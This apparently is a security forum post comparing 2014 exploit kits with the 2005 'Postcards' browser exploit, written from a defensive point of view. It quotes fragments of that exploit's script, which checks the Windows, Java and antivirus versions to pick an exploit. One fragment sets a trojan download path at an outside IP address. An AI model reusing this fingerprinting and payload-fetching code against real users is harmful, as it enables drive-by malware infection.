From http://contagiodata.blogspot.com/2014/12/exploit-kits-2014.html: From What’s New in Exploit Kits in 2014 (hat tip: member 142395): From Tracking Moving Targets: Exploit Kits and CVEs:
Tweet: Browsing with an outdated Chrome or Firefox is dangerous (Image : Flash filtered traff in Nuclear Pack) Note: the calculation for Opera 12.16 should read 51.0%, not 0.510%.
From Happy Nucl(y)ear - Evolution of an Exploit Kit: Wow! Who said, "It's deja vu all over again."? Have I seen this before? Yes! It was written more than seven years ago. Well, not literally, but compare: Raising the bar: dynamic JavaScript obfuscation https://isc.sans.edu/diary/Raising the bar: dynamic JavaScript obfuscation/3219 2007-08-02 Not as sophisticated as today's techniques, but the idea was the same. "Landing page" in the first article refers to the page to which the user is redirected. Since JavaScript is used, for those who are concerned they might be redirected to a landing page, wouldn't whitelisting JavaScript prevent the exploits from being launched from such a page? ---- rich
More in the "Is anything new" department: Much has been written about Exploit Kits containing a number of exploits that can be served to the user detecting the browser/operating system and choosing exploits accordingly detecting if Anti-virus products are installed Curiously, the model for this malware behavior started some nine years ago with a very clever exploit called "Postcards." The user received an email notification of an e-postcard. Clicking on the link sent the user to the booby-trapped site. The script in the main HTML file determined the Windows and IE browser versions and launched exploits accordingly: Code: // launching exploit which number is depends on Windows and IE versions function Get_Win_Version(IE_vers) if (IE_vers.indexOf('Windows 95') != -1) return "95" else if (IE_vers.indexOf('Windows NT 4') != -1) return "NT" else if (IE_vers.indexOf('Win 9x 4.9') != -1) return "ME" else if (IE_vers.indexOf('Windows 98') != -1) return "98" else if (IE_vers.indexOf('Windows NT 5.0') != -1) return "2K" else if (IE_vers.indexOf('Windows NT 5.1') != -1) return "XP" else if (IE_vers.indexOf('Windows NT 5.2') != -1) return "2K3" The Win2K example detected the Java version (JVM) on the user's computer, and also a particular AV, which determined the exploit to serve up: Code: case "2K": if ((JVM_vers[0]!=0)&&(JVM_vers[2]<3810)) { ExploitNumber=1; } else // if JVM = 5.0.3810.0 or higher if ((fNortonAV==0)&&(fMcAfee==0)) { ExploitNumber=3; } else { ExploitNumber=2; } These instructions could change depending on what the AV was detecting at the moment. In those days, AV signature updates were not as frequent as they are today. As an example, Exploit (Case) 2 downloaded a .hta file which then attempted to cache a downloader trojan exploiting the vulnerabilities listed in MS Bulletin MS05-054. The last line in the code is the path to the malware trojan: Code: case 2: InetPath+'/cgi-bin/ie0601.cgi?gethta" break Sub Run_Installer Main_HTA_Body= Main_HTA_Body & Download_Call Function InitPaths Trojan_Path="http://210.0.219.41/cgi-bin/ie0601.cgi?exploit=MS05-054" Again, certainly not as sophisticated as today's exploits, but the ideas are the same. Prevention today really shouldn't be any different than in those days. In fact, prevention should be easier today because of the advances in technology. One example: if the exploit gets past your perimeter defense, fileless malware payloads are being caught by emerging anti-exploit technology, as demonstrated in the current 0-day Flash exploit, one version of which serves up the Bedep malware, which invites and encourages you to join a botnet! It is caught by at least one current product. ---- rich